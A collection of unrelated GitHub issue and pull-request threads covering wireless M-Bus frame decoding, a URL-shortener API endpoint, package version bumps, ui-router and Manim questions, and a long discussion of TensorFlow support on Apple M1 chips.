'3.3.0'


Add a button to update Platformatic

@Fmusso94 can you provide the design part?

We should go for the following solution:
.
@marcopiraccini @mcollina

@marcopiraccini In the application lists, Recents and All, I would suggest adding a tooltip when hovering over the alert icon that shows the same message. As a user, I wonder what is the alert about the version, and I would expect to see an explanation message. I suggest the following solution:


Help: Invoke to direct decode wmbus telegram

I'm trying to parse a wmbus packet, some help on how to invoke the script to directly decode this packet ¿?
44D3101317050050047AAF0030052F2F0C0600000000046D032C34250C13213300008C4013000000008C804013000000000B3B1300000B2D0000002F2F2F
Thanks.

Just created a little script to parse frames from arguments and from files. However, your Wireless M-Bus frame features a manufacturer specific application layer which is not featured by scambus. Scambus only supports IEC standardised layers.
Btw, the frame you captured seems to be corrupt. The first byte indicates the frame length which does not match the effective length in your provided example.
wmbus@risk:~/dev/scambus$ ./reader.py -v -t '44D3101317050050047AAF0030052F2F0C0600000000046D032C34250C13213300008C4013000000008C804013000000000B3B1300000B2D0000002F2F2F'
filename:
text:  44D3101317050050047AAF0030052F2F0C0600000000046D032C34250C13213300008C4013000000008C804013000000000B3B1300000B2D0000002F2F2F
verbosity:  2
hex:  44 D3 10 13 17 05 00 50 04 7A AF 00 30 05 2F 2F 0C 06 00 00 00 00 04 6D 03 2C 34 25 0C 13 21 33 00 00 8C 40 13 00 00 00 00 8C 80 40 13 00 00 00 00 0B 3B 13 00 00 0B 2D 00 00 00 2F 2F 2F
WARNING: frame length field does not match effective frame length! Decoding might be unreliable. Check your input.
frame[0]:  68
len(frame)-1:  61
Sep 03 13:34:18 DXP 50 00 05 17 SND-UD Records: 5
--
CI Detail:	AF (Manufacturer specific Application Layer, SND-UD)
header:
--wmbus@risk:~/dev/scambus$ ./reader.py -v -t '44D3101317050050047AAF0030052F2F0C0600000000046D032C34250C13213300008C4013000000008C804013000000000B3B1300000B2D0000002F2F2F'
DIFs:	00 (Instantaneous value, No data)
VIFs:	30 (Power J/h)
Value:
--
DIFs:	05 (Instantaneous value, 32 Bit Real)
VIFs:	2F (Power 10⁴ W)
Value:	00 06 0C 2F
--
DIFs:	00 (Instantaneous value, No data)
VIFs:	00 (Energy mWh)
Value:
--
DIFs:	00 (Instantaneous value, No data)
VIFs:	04 (Energy 10¹ Wh)
Value:
--
DIFs:	6D (Minimum value, variable length)
VIFs:	03 (Energy Wh)
Value:	00 00 00 2D 0B 00 00 13 3B 0B 00 00 00 00 13 40 80 8C 00 00 00 00 13 40 8C 00 00 33 21 13 0C 25 34
--

Can you share this. I'm digging the project. And found out that this DIF VID part made in horrible way. Basically utils construct it  by string XML concat so no 'decoded' structure inside the 'driver'. I'm pretty sure this is all data there that I have. But for make sure I can rerun frame.

Hi guys I'm trying to decode this frame
20 44 2D 2C 97 18 58 68 1D 16 8D 20 55 82 E2 F5 23 CC EE ED C2 B1 1C 50 35 0B EA CE 7E 01 D0 3A AD
all the libraries I tested until now gives me incoherent data.
I cannot find the right spec for CI-Field = 0x8D [0x8D: 'Extended Link Layer II (8 Byte)']
I'm pretty sure byte 12 (55) is a sequence number as it increase by one each new message.
Then I'm lost when I try to decode this part:
82 E2 F5 23 CC EE ED C2 B1 1C 50 35 0B EA CE 7E 01 D0 3A AD
Are we looking for a header ? Is 82 a new CI-Field ? [0x82: 'For future use',]
My meter is a kamstrup flow IQ 3100 and it should use 128bits AES encryption.
I hope you can help me ...
Regards.

Maybe these papers help you move forward

https://www.iot.com.tr/uploads/pdf/Telit_Wireless_M-bus_2013_Part4_User_Guide_r14.pdf
https://www.diva-portal.org/smash/get/diva2:847898/FULLTEXT02


Created an API endpoint (v1/api/urls) for getting all user urls

@abhijeetnishal  This PR solves issue #17
new endpoint has been created but there are few potential issues that I see in the code base -:
1.env.sample not updated with JWT_SECRET
2.token authorization is not done in other url controllers .
3.urls can be included in user schema so that extra call is eliminated while fetching all user urls.
4.userId not added to url when creating new URL.
5.standardizing the  format for all endpoints eg. (v1/api/)

After making these changes push the code to feat/server-crud branch instead of master so that i will test and make changes to code and merge to master branch.

@abhijeetnishal middleware as well as endpoint for getting all the URLs changes are present on this PR , you can review it.

hey , @abhijeetnishal I have pulled changes from master branch and after solving merge conflicts have pushed the changes in this PR , you can review it now.

hey , @abhijeetnishal I have pulled changes from master branch and after solving merge conflicts have pushed the changes in this PR , you can review it now.

Oh great👏, I guess you are learning git.

Hey @atharvarekhawar, could you change the merge from master to feat/server-crud branch so that i can test.

Hey @atharvarekhawar, i reviewed the code it looks good, great job, now i have to test it and merge to master

@abhijeetnishal changed the base branch to feat/server-crud


Notifications for issues & PRs labeled as area/blog

This is a Feature Request

What would you like to be added

Is it possible to send notifications for specific areas of interest? Currently it seems like GitHub's system is not able to notify based on labels (or on project/milestone changes). Does Prow has this ability to email groups on events (maybe I've missed something)?
Why is this needed
There are a lot of areas of interest in the K8s project, it may be helpful for those interested in specific areas to be able to be notified if a label is applied. Potentially this could be tied into the https://github.com/kubernetes/k8s.io/blob/main/groups/groups.yaml email lists.
Comments
This GitHub action may be helpful if Prow is unable to help: https://github.com/marketplace/actions/issue-label-notifier

/close


Reduce how many times version numbers are said in plunkers

In this plunker, I see the ionic's version 3 times, but only 1 of them is right: http://plnkr.co/edit/OBQjWnCgVkf7Z7mXezBs?p=preview
To reduce having to remember all the places the version number needs to be updated, only have it listed in the script tags, not in content, header or plunker description.

Fixed by the above commit (:

fixed by the above commit (:


Added LUIS es6 sample

Largely based on the alarm bot sample, except using LUIS to identify add/delete/show.
Used the Calendar prebuilt domain instead of alarm, because I can't seem to find the builtin alarm intents & entities in LUIS anymore.
Left subId + key in for easy testing.

Pull Request Test Coverage Report for Build 112

0 of 0 (NaN%) changed or added relevant lines in 0 files are covered.
220 unchanged lines in 3 files lost coverage.
Overall coverage decreased (-15.3%) to 74.726%

Files with Coverage Reduction
New Missed Lines
%

libraries/botbuilder-ai/src/qnaMaker.ts
29
10.53%

libraries/botbuilder-ai/src/luisRecognizer.ts
82
1.3%

libraries/botbuilder-ai/src/languageTranslator.ts
109
2.38%

Totals

Change from base Build 110:
-15.3%

Covered Lines:
1151

Relevant Lines:
1497

💛  - Coveralls

Awesome :)


doc: two-column tricks for HTML breaks PDF

In doc/guides/networking/net-stack-architecture.rst some HTML trickery was used to fake a two-column HTML presentation (putting the explaining text next to the picture) that severely broke the PDF generation.
PR #19255 removed the trickery and the nicer presentation.  This issue is to track adding a solution that works for HTML and PDF generation.

not an issue anymore, file a bug if issue persists


kubefirst: 2.2.9 -> 2.2.17

Description of changes
change log: https://github.com/kubefirst/kubefirst/releases/tag/v2.2.17
diff: https://github.com/kubefirst/kubefirst/compare/v2.2.9...v2.2.17

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 253386 run on x86_64-linux 1

1 package built:

kubefirst


if templateUrl not found, request repeatedly forever.

if templateUrl is not found,
It request repeatedly forever.
  $locationProvider.html5Mode(true);

  $stateProvider
  .state('Home', {
    url: '/',
    templateUrl: 'home2.html',
    title: 'Home'
  });

  $urlRouterProvider.otherwise('/');

did you do changes for html5Mode in your server  https://github.com/angular-ui/ui-router/wiki/Frequently-Asked-Questions#how-to-configure-your-server-to-work-with-html5mode

Yes I do. I think that is not problem of server side.
I expected that if templateUrl is not found, ui-router stop to request.
But not.

Its probably because you are telling it to go to the home state if it cant go anywhere else and thats where your missing template is. Fix the missing template or add a 404 or something similar state.


JSDoc fix - changed masterkey to masterKey

Hi @lmaccherone, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no contribution license agreement is required at this point. Real humans will now evaluate your PR.

TTYL, AZPRBOT;

Let me know if this sort of pull request is useful. I'm using the docs now and finding little things.

Yes, definitely useful, thanks! Because the JavaScript client SDK is a sub-set of the Node.js SDK and is in fact generated from this we're thinking about how we accept PRs for this and incorporate it back up the chain.
But plse, keep sending them while we figure out how to best handle your contributions!
Thanks

Can I submit pull requests to the main repo? Is that public?
On Apr 29, 2015 10:40 PM, "Ryan CrawCour"<EMAIL_ADDRESS>wrote:

Yes, definitely useful, thanks! Because the JavaScript client SDK is a
sub-set of the Node.js SDK and is in fact generated from this we're
thinking about how we accept PRs for this and incorporate it back up the
chain.
But plse, keep sending them while we figure out how to best handle your
contributions!
Thanks
—
Reply to this email directly or view it on GitHub
https://github.com/Azure/azure-documentdb-js/pull/14#issuecomment-97638105
.

If by "main repo" you mean the Node.js repo, then yes, it is available - https://github.com/Azure/azure-documentdb-node/tree/master/core_sdk/lib

Would it help if I just redid the edits there?
On Apr 29, 2015 10:48 PM, "Ryan CrawCour"<EMAIL_ADDRESS>wrote:

If by "main repo" you mean the Node.js repo, then yes, it is available -
https://github.com/Azure/azure-documentdb-node/tree/master/core_sdk/lib
—
Reply to this email directly or view it on GitHub
https://github.com/Azure/azure-documentdb-js/pull/14#issuecomment-97640540
.

OK, I implemented the pull request over in azure-documentdb-node. Hopefully the changes can be merged there.


fix spzeros function call

I am on PowerSystems master and Julia 1.3 master and I could not get @jd-lara's ybus calculation example to work. This fixed the first error. Now I am running into the error:
julia> Ybus = PowerSystems.build_ybus(length(Buses), Branches)
ERROR: type PhaseShiftingTransformer has no field zb
Stacktrace:
 [1] getproperty(::Any, ::Symbol) at ./Base.jl:20
 [2] ybus!(::SparseArrays.SparseMatrixCSC{Complex{Float64},Int64}, ::PhaseShiftingTransformer) at /home/coey/.julia/dev/PowerSystems/src/utils/ybus_calculations.jl:72
 [3] build_ybus(::Int64, ::Array{Branch,1}) at /home/coey/.julia/dev/PowerSystems/src/utils/ybus_calculations.jl:135
 [4] top-level scope at REPL[13]:1

zb got renamed to primaryshunt. Thanks for the fix.

cool I'll leave that part to you, thanks

it was case5.m that triggered the error

Thanks, working on the fix now

Codecov Report

Merging #215 into master will not change coverage.
The diff coverage is 0%.

@@           Coverage Diff           @@
##           master     #215   +/-   ##
=======================================
  Coverage   57.88%   57.88%
=======================================
  Files          51       51
  Lines        3842     3842
=======================================
  Hits         2224     2224
  Misses       1618     1618

Impacted Files
Coverage Δ

src/utils/ybus_calculations.jl
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

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Δ = absolute <relative> (impact), ø = not affected, ? = missing data
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Codecov Report

Merging #215 into master will not change coverage.
The diff coverage is 0%.

@@           Coverage Diff           @@
##           master     #215   +/-   ##
=======================================
  Coverage   57.88%   57.88%
=======================================
  Files          51       51
  Lines        3842     3842
=======================================
  Hits         2224     2224
  Misses       1618     1618

Impacted Files
Coverage Δ

src/utils/ybus_calculations.jl
0% <0%> (ø)
:arrow_up:

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Δ = absolute <relative> (impact), ø = not affected, ? = missing data
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Add more fcntl constants for android

@bors: r+

:pushpin: Commit e397134 has been approved by alexcrichton

:hourglass: Testing commit e397134e35336e469eb087159f498b3dee3cb84e with merge f4bbd7ffae89d34cdd8f56bf8cc4b4129c029d74...


Updating 'setPersonaState' to allow for new parameter

I would like to pass the parameter persona_state_flags to this method to show I am using my phone so people know I am out and about even if I'm not really there:
Original Code:
SteamFriends.prototype.setPersonaState = function(state) {
  this._personaState = state;
  this._client.send({
    msg: EMsg.ClientChangeStatus,
    proto: {}
  }, new schema.CMsgClientChangeStatus({
    persona_state: state
  }).toBuffer());
};

Updated Code: (So I have hard-coded this change into /lib/handlers/friends/index.js to test for now)
SteamFriends.prototype.setPersonaState = function(state) {
  this._personaState = state;
  this._client.send({
    msg: EMsg.ClientChangeStatus,
    proto: {}
  }, new schema.CMsgClientChangeStatus({
    persona_state: state,
    persona_state_flags: 512       <---------------------- The Addition
  }).toBuffer());
};

However the flag doesn't seem to work. I also tried using the web online indicator flag but still no change.
Should this work or does this get stripped out anywhere if not whitelisted or something along those lines?
Thank you very much for reading
P.S: The method of checking it is working is I am using the WEB api (/ISteamUser/GetPlayerSummaries/v0002/) and viewing the personastateflags value.

It doesn't get stripped out anywhere on node-steam's side, but perhaps Steam just doesn't support it. Have you tried using NetHook2 to see how Steam client uses this field?

Thanks for the response Seishun.
I have not tried using NetHook2. Correct me if I am wrong though, the persona_state_flags would only be used when not using the Steam client. For instance, using your phone or the browser versions of Steam. If you use the client there is no reason to use the parameter.
I do believe the field is still used as seen here albeit an entirely different library and not updated for a year but the same parameters do apply.
Maybe I am misunderstanding something... not entirely sure why it doesn't work.


Ver. 3.9 (RescueOps). NOAA channels doesn't have the right bandwitdh

Hi,
I just updated to version 3.9 (RescueOps) and noticed the NOAA channels bandwidth is set by default to 12.5kHz, while it should be set by default to 25kHz.
Keep up your excellent work!
Simon Forget, VA2ESF
P.S.: I'm using English only to make sure that more people understands the problem that I'm reporting. Autrement, je suis plus à l'aise en français. :-)

Hi,
It doesn't matter. If you use the UP or DOWN keys to change frequencies, you are cycling between the different NOAA frequencies.
Armel F4HWN.


1.24.0 beta0 build error: OSError: [Errno 24] Too many open files

should I use something alike ulimit -Sn 10000 to build it?

ulimit helped


Milesigth

Hi there,
In our company, we are working with the  gateway Milesight UG67. Please, could you add the Chirpstack MQTT  forwarder for this brand?.

Have you seen
https://www.chirpstack.io/docs/gateway-configuration/milesight.html ?
On Mon, Jul 22, 2024, 17:58 FS @.***> wrote:

Hi there,
In our company, we are working with the gateway Milesight UG67. Please,
could you add the Chirpstack MQTT forwarder for this brand?.
—
Reply to this email directly, view it on GitHub
https://github.com/chirpstack/chirpstack-mqtt-forwarder/issues/58, or
unsubscribe
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Hi @brocaar ,
Thank you so much for your quick response.  I will review the link shared by you.
Best wishes.

I'm closing this issue as there is nothing that I can do from my side as Milesight does not allow installing custom packages.


Refactor FBetaScore

Describe the feature and the current behavior/state.
Currently, FBetaScore is not so maintainable and very different from how tf.keras.metrics.* handles similar things.

tf.keras.metrics.* uses metrics_utils.update_confusion_matrix_variables to deal with all confusion matrix related metrics. It's a super helpful utility as it handles sample_weight, multi-label, multiple thresholds, e.t.c.. Unfortunately, it's not a public API.
tf.keras.metrics.AUC handles multi-label with a argument multi_label passed into the constructor of the metric, but our FBetaScore handles it implicitly even without any shape check.

Given F-beta score is a function of precision and recall, I expect we can design either patterns in the following.

Use tf.keras.metrics.{Precision,Recall}
class FBetaScore(tf.keras.metrics.Metric):
    def __init__(self, *args, **kwargs):
        self.precision = tf.keras.metrics.Precision()
        self.recall = tf.keras.metrics.Recall()

    def update_state(self, y_true, y_pred, sample_weight=None):
        # Should also aggregate `sample_weight` to handle different weighting scheme
        return tf.group([
            self.precision.update_state(y_true, y_pred, sample_weight)
            self.recall.update_state(y_true, y_pred, sample_weight)
        ])

    def result(self):
        p = self.precision.result()
        r = self.recall.result()
        return some_interpolation_from_p_and_r

Pros:

Clear as F-beta is the function of precision and recall.
All public APIs.

Cons:

tf.keras.metrics.{Precision,Recall} haven't supported multi-label data yet.
true positives are computed twice in precision and recall.

Use metrics_utils.update_confusion_matrix_variables
class FBetaScore(tf.keras.metrics.Metric):
    def __init__(self, *args, **kwargs):
        # Follow how `tf.keras.metrics.AUC` constructs these variables
        self.true_positives = self.add_weight()
        self.false_positives = self.add_weight()
        self.false_negatives = self.add_weight()

    def update_state(self, y_true, y_pred, sample_weight=None):
        # Should also aggregate `sample_weight` to handle different weighting scheme
        return metrics_utils.update_confusion_matrix_variables(
          {
              metrics_utils.ConfusionMatrix.TRUE_POSITIVES:
                  self.true_positives,
              metrics_utils.ConfusionMatrix.FALSE_POSITIVES:
                  self.false_positives,
              metrics_utils.ConfusionMatrix.FALSE_NEGATIVES:
                  self.false_negatives,
          },
          y_true,
          y_pred,
          self._thresholds,
          sample_weight=sample_weight,
          multi_label=self.multi_label)

    def result(self):
        return some_interpolation_from_tp_fp_fn

Pros:

Well support from metrics_utils.update_confusion_matrix_variables.
Each variable is computed once.

Cons:

Lots of copy-paste codes from tf.keras.metrics.*
Not all APIs are public like metrics_utils.update_confusion_matrix_variables.

Both of them require support from core TF, but I prefer option two. Use of that private API also simplies confusion matrix related metrics in addons such as MultiLabelConfusionMatrix, and enables extra functionality like multiple thresholds.
cc @seanpmorgan and @bhack. Any thought on this? Thank you 😃

The pros of second option make it more preferable

From the last Keras meeting, as Keras Will go standalone again quite soon reopeing Its own repository I suppose It will be easier to Request some public API switch for the solution  2).

Using metrics_utils.update_confusion_matrix_variables would be better.

Using metrics_utils.update_confusion_matrix_variables would be better.

TensorFlow Addons is transitioning to a minimal maintenance and release mode. New features will not be added to this repository. For more information, please see our public messaging on this decision:
TensorFlow Addons Wind Down
Please consider sending feature requests / contributions to other repositories in the TF community with a similar charters to TFA:
Keras
Keras-CV
Keras-NLP


Support for manual trigger of release image job

@tpantelis the CI jobs are failing with the following error. Is this something related to the recent e2e fixes that you were looking at?
Summarizing 1 Failure:
  [FAIL] [redundancy] Gateway fail-over tests when multiple gateway nodes are configured and fail-over is initiated [It] should activate the passive gateway and be able to connect from another cluster
  /go/pkg/mod/github.com/submariner-io/shipyard@v0.15.0-m4/test/e2e/framework/network_pods.go:196

@tpantelis the CI jobs are failing with the following error. Is this something related to the recent e2e fixes that you were looking at?
Summarizing 1 Failure:
  [FAIL] [redundancy] Gateway fail-over tests when multiple gateway nodes are configured and fail-over is initiated [It] should activate the passive gateway and be able to connect from another cluster
  /go/pkg/mod/github.com/submariner-io/shipyard@v0.15.0-m4/test/e2e/framework/network_pods.go:196

Which job are you referring to?
I see this one recently failed..  My PR just wraps AwaitGatewayFullyConnected ensuring there's a new Gateway object created.  However it failed before the line I changed:
github.com/submariner-io/submariner/test/e2e/redundancy.testGatewayPodRestartScenario(0xc00011c948)
    	/go/src/github.com/submariner-io/submariner/test/e2e/redundancy/gateway_failover.go:98 +0x752

The connection to cluster2 failed:
Failed to await Gateway on "cluster1-worker" with status active and connections UP. Gateway "cluster1-worker" is active but cluster "cluster2" is not connected: Status: "error", Message: "Failed to successfully ping the remote endpoint IP \"<IP_ADDRESS>\""

What originally caused you to look into this? Might be good to include in the commit message.

Recently we have seen that even after Tom's Service Import Aggregation PR got merged the release job did not get triggered and AFAIR there were similar instances discussed on slack. Anyways, updated the commit message. Thanks for taking a look.


Is there a method for creating an arrow between 2 mobjects ?

I tried using set_start_and_end_attrs(mobject1, mobject2), but it did not work ? Is there an other method for achieving this ? Thanks.

If you write Arrow(mobject1, mobject2), that should give what you want.

Okay, thank you very much for the fast answer.

ya Ben but arrow tip is not meeting to the exact point.
dot1 = Dot(RIGHT+UP)
self.add(dot1)
dot2 = Dot(ORIGIN)
self.add(dot2)
line = Arrow(dot1,dot2)
self.play(ShowCreation(line)

@vikramsingh111 buff=0
that is line = Arrow(dot1, dot2, buff=0)

Wow! It's work.  Thanks Tony.

from manimlib.imports import *
class ThreeDObjects(SpecialThreeDScene):
def construct(self):
axes = ThreeDAxes()
circle=Arrow((0,0,0),(0,0,1),buff=0,color=BLUE)
self.set_camera_orientation(phi=45 * DEGREES)
#self.set_camera_orientation(phi=0 * DEGREES)
self.play(ShowCreation(axes))
self.wait()
self.play(GrowArrow(circle))
self.wait(3)
Arrow tip on z-axis is not showing properly. However it works for x and y axis.


TensorFlow support for Apple Silicon (M1 Chips)

Please make sure that this is a feature request. As per our GitHub Policy, we only address code/doc bugs, performance issues, feature requests and build/installation issues on GitHub. tag:feature_template
System information

TensorFlow version: 2.1+ (I don't know specifics)
Are you willing to contribute it (Yes/No): No, not enough repository knowledge.

Describe the feature and the current behavior/state.
This is not a feature per se, but a question. How soon would TensorFlow be available for the Apple Silicon macs announced today with the M1 chips?
Will this change the current api? How?
Hmmm, I don't know. Probably not.
Who will benefit with this feature?
This will benefit everybody who buys an apple silicon mac right now, and in the future. This is a big change, and no one would buy intel macs after a few years.
Any Other info.
I know python and numpy are being personally helped by apple for this transition.

Well from the presentation of yesterday, specially timing 33 minutes, a person speaks about tensorflow, nothing super specific but it could be. Does a TF dev. could give more informations  about support of neural engine ?
From my experience the neural engine is totally close to dev., only native execution of coreml can use it.

It would be really cool if TF could utilize the 16-core neural engine and their 8-core GPU.

There is nothing against, what you can do at least for inference is to transform your TF model to Coreml using Apple convertor. Then you will be able to execute your model "efficiently" on apple Hardware (inference only).

Well, my main problem would be training a model, as it takes more than an hour (I think) for my current model. When I get my hands on a mac, I'll see if it runs ok on rosetta 2.
I just listened to the part of the event where they mention TensorFlow:
"It also makes Mac Mini great for developers, scientists, and engineers. Utilizing deep learning technologies, like TensorFlow or Create ML, which are now accelerated by M1."
They say Mac Mini, but I'm sure the same thing goes for the MacBook Pro and Air.

my 2 cents, do not train with an emulator, it is a terrible idea. And definitively a Mac is not the optimal platform for training.

Well, my main problem would be training a model, as it takes more than an hour (I think) for my current model. When I get my hands on a mac, I'll see if it runs ok on rosetta 2.

I dont think we will need rosetta 2, as mac OS itself is a Unix machine so all the programming language and the compilers are natively running on mac for its core system to work. if we compile the TF library once(that might be bumpy), we should be good to go. what i wondering if we run the TF for training or inference(natively with TF not after porting to CoreML) will it utilize neural engine or the ML accelerators. maybe not, for that to work the processors needs to know that its a ML job and we are not specifically telling it that its a ML job. Not sure if its intelligent enough to do that on its own.

I really have no idea how python packaging works, but if something is done with Xcode, the new version should be able to compile for ARM if it's out yet. I might be wrong and maybe TF dependencies might be a problem.

First question is if they meant TensorFlow or TensorFlow Lite or some other component of the ecosystem.
TensorFlow pips are only built for x86_64 at the moment.

Can TensorFlow pips be built for arm64  without any issue? If not, what is the main obstacle?
Hmmm, I'm not sure what TF component they meant. Probably TensorFlow.

The main obstacle is: TF is build other backend (Eigen - CPU, CUDA- GPU, ...). It means you must be able to code all your layer, operators, etc  for these technologies. From my knowledge there is no TF  training for Apple chip (TF lite has something for inference Apple GPU).
Now if you compile from scratch TF on your Mac - M1. You will get a CPU version ARM (because Eigen works on ARM), but with no usage of Apple GPU or Neural Engine. Make a backend is a tough work, it needs a lot of effort, time, and working hour. Apple develop their own hardware/software I am not sure they care a lot about TF.

Hmmm. CPU training is OK for the time being, I'm not training huge models or anything. If you can, could you give me a super broad estimate of when the GPU or the neural engine could be used? Something like late 2020, mid 2021, etc. Or is this just going to come out of nowhere?

Maybe Apple would be of help somehow. Maybe.

There are several challenges involved with the architecture of the apple silicon M1 chip, the 4+4 cpu core architecture, the 8 GPU "cores" and the neural processing unit. What would be a great upside is the shared (but limited) memory.
CoreML is fine for inference of converted models, but full tensorflow would require a full backend which utilizes the full backend of components and does the memory management.
Inspiration and guidance could come from AMDs ROCm TF port.https://github.com/ROCmSoftwarePlatform/tensorflow-upstream. The build system is described here https://github.com/ROCmSoftwarePlatform/tensorflow-upstream/blob/develop-upstream/rocm_docs/rocm-port-overview.md
Another way would be to take the route of Metal or OpenCL - still the press event did not give much insight on how to actually use it. The issue for metal support is stale for some time #11085

It would be really cool if TF could utilize the 16-core neural engine and their 8-core GPU.

The questions is whether ANE is even optimized for these kinds of workloads. 🤷♂ According to documentation there is just an option to "fine tune" (personalize) models locally.

I don't think we will see any new TF port for ANE, until Apple release any api thats similar to Cuda (only the API, as the implementation is Nvidia's proprietary tech), otherwise it will be very difficult to write the TF core logics to port to metal or existing ANE apis, great example is AMDs RCOM which is an api similar to CUDA. But I doubt Apple will come forward and make any effort, they will only try to push CoreML instead. And  also there are not too many people waiting for this feature (only those using macs most on them are using linux or have a separate linux machine). so most probably it will never happen from the open source community side as well. :(

Note that we don't release tensorflow-gpu for macos anyway.

I also wouldn't expect this to be supported out of the box quite soon.
Probably when MLIR and the new runtime get upstreamed, multiple backends will have better support.
An interesting alternative could be provided by Apple when auto diff will be part of swift, but this is just speculation.

So for now, it'll only work on the CPU. That's quite OK with me. If the CPU is better than Kaggle's, I'll be fine. I'm pretty new to deep learning, so I'm not doing heavy stuff. And maybe by the time I get farther into deep learning and ML, there might be support for the ANE and the GPU.

I wonder why Apple "announced" acceleration for Tensorflow on M1 macs on the Apple event. Are they outright lying, or did they mean something else? The specialy mentioned acceleration for Tensorflow and Create ML in the same sentence. And since Create ML is used for training I assumed that they also would provide acceleration for Tensorflow training.

And since Create ML is used for training I assumed that they also would provide acceleration for Tensorflow training.

There in not development going on in the repo at the moment, that would only mean apple has compiled the packages for TF to support it, which is unlikely. Maybe they meant it is possible to do so, kind of like near future possibility. the only other explanation is that they just threw bunch of ML and DL terms to make it sound cool.

"Utilize ML frameworks like TensorFlow or Create ML, now accelerated by the M1 chip."

from https://www.apple.com/newsroom/2020/11/introducing-the-next-generation-of-mac/ as of 2020-11-12

My only guess is that they are referring to Swift for Tensorflow but it would be nice to get clarification from someone who knows for sure.
https://www.tensorflow.org/swift
https://github.com/tensorflow/swift

I have opened a ticket on my apple developer account, lets see :-)

The answer from developer support to my ticket:
"Currently there is no documentation available for Tensorflow support on the M1 chip set. At the moment you can find general documentation for Apple Silicon in our documentation library.
I also forwarded your request as feedback to the appropriate team."

So far the only way this could work is via
Tensorflow -> nGraph -> PlaidML -> Metal
No-one has tried though on arm, I have never bothered on my MBP as I don't have a GPU and I am doing all my TF testing on my Linux box. When I get my new MacBook I will give it a try.

Thanks @dani0805 for the ticket. I know apple doesn't care too much about stuff like this, but TensorFlow is huge and probably will be supported in the near future.

According to this press release it's supported. --> "Utilize ML frameworks like TensorFlow or Create ML, now accelerated by the M1 chip."

Right now what we can expect is that Tensorflow will be able to run on the CPUs in the M1 chip ...
The biggest blocker to GPU acceleration is the Metal API. I've heard little to no indication that Apple rectified this issue on their end. CUDA and HIP (ROCm) support templatized kernels which are used everywhere in Tensorflow so Metal would need a similar capability to be even worth considering for porting the Eigen library. For the most part we should assume that Tensorflow won't support Apple GPUs for acceleration in the near future and likely in the distant future as well ...
With all that being said there might still be a way to optimize Tensorflow further for the M1's CPU by exploring the use of their AMX instruction set featured on some Apple processors ...

TensorFlow on ARM is a thing. It works on NVIDIA Jetson Xaviers, which are ARM based. They use an ARM the CUDA library for GPU support. I am pretty sure Python will work on M1s which means likely TensorFlow CPU will work. I am very curious to know what "TensorFlow or Create ML, now accelerated by the M1 chip." is going to mean and if this needs to be driven by the community or if Apple is going to help.

TF on ARM exists, but it's not part of the official releases on PyPI.

Accelerating TensorFlow Performance on Mac:
https://blog.tensorflow.org/2020/11/accelerating-tensorflow-performance-on-mac.html

I guess that closes the issue then

I  am getting following error when I am importing tensor flow on MacBook Air m1
zsh: illegal hardware instruction  python

The Apple TF on M1 chips is a private fork of TF owned by Apple. We don't have access to fixing code issues there

Accelerating TensorFlow Performance on Mac:
https://blog.tensorflow.org/2020/11/accelerating-tensorflow-performance-on-mac.html
"TensorFlow users on Intel Macs or Macs powered by Apple’s new M1 chip can now take advantage of accelerated training using Apple’s Mac-optimized version of TensorFlow 2.4 and the new ML Compute framework."

I would not that the linked article only talks about CPU / GPU support. It doesn't mention the neural Engine. Perhaps performance is still being left on the table?￼

Accelerating TensorFlow Performance on Mac:
https://blog.tensorflow.org/2020/11/accelerating-tensorflow-performance-on-mac.html
"TensorFlow users on Intel Macs or Macs powered by Apple’s new M1 chip can now take advantage of accelerated training using Apple’s Mac-optimized version of TensorFlow 2.4 and the new ML Compute framework."

I would not that the linked article only talks about CPU / GPU support. It doesn't mention the neural Engine. Perhaps performance is still being left on the table?￼

It should be possible to test this. I am quoting something that was written for iOS, but it should work on MacOS too https://github.com/hollance/neural-engine/blob/master/docs/is-model-using-ane.md
Core ML uses three different "engines" that are implemented in the private Espresso framework:
ANE — Espresso::ANERuntimeEngine
GPU — Espresso::MPSEngine and Espresso::MetalLowmemEngine
CPU — Espresso::BNNSEngine
It can switch between these engines when running your model. By looking at which engine name appears in the debugger's stack trace, you can see which engine / processor is currently being used.
To find out if the model (also) runs on the GPU or CPU, you can use the following symbolic breakpoints:
Espresso::MPSEngine::context::__launch_kernel
Espresso::BNNSEngine::convolution_kernel::__launch

I am getting following error when I am importing tensor flow on MacBook Air m1
zsh: illegal hardware instruction python

Same here

While on a spreadsheet that shows apps/games that have support for apple silicon (native or translated), I found this:
https://docs.google.com/spreadsheets/d/1er-NivvuIheDmIKBVRu3S_BzA_lZT5z3Z-CxQZ-uPVs/edit
This has been released 10 days ago, and it's by Apple, and TensorFlow would be hardware accelerated.

Although the apple's implementation does supports arm64 hardware acceleration there is no solution for some major thirdparty packages that works along with tensorflow such as matplotlib, opencv and etc. So using x86_64 tensorflow is still a required solution for specific usecases. Is there any possible way to use x86_64 tensorflow while using x86_64 python distribution on apple silicon mac? Thanks.

So, by now, is there any form of support for Apple Silicon?

Is this solved yet?

Is this solved yet?

@Huibean
Yes. You'll need to install miniforge 3 and create a virtual env. The majority of the details are on Apple's TensorFlow fork. It's public so just type in apple TensorFlow Github.

@Huibean
Yes. You'll need to install miniforge 3 and create a virtual env. The majority of the details are on Apple's TensorFlow fork. It's public so just type in apple TensorFlow Github.

@TheMartian32 Thanks, just try that, but crash with another error when import TensorFlow
ImportError: Traceback (most recent call last):
  File "/Users/huibean/tensorflow_macos_venv/lib/python3.8/site-packages/tensorflow/python/pywrap_tensorflow.py", line 64, in <module>
    from tensorflow.python._pywrap_tensorflow_internal import *
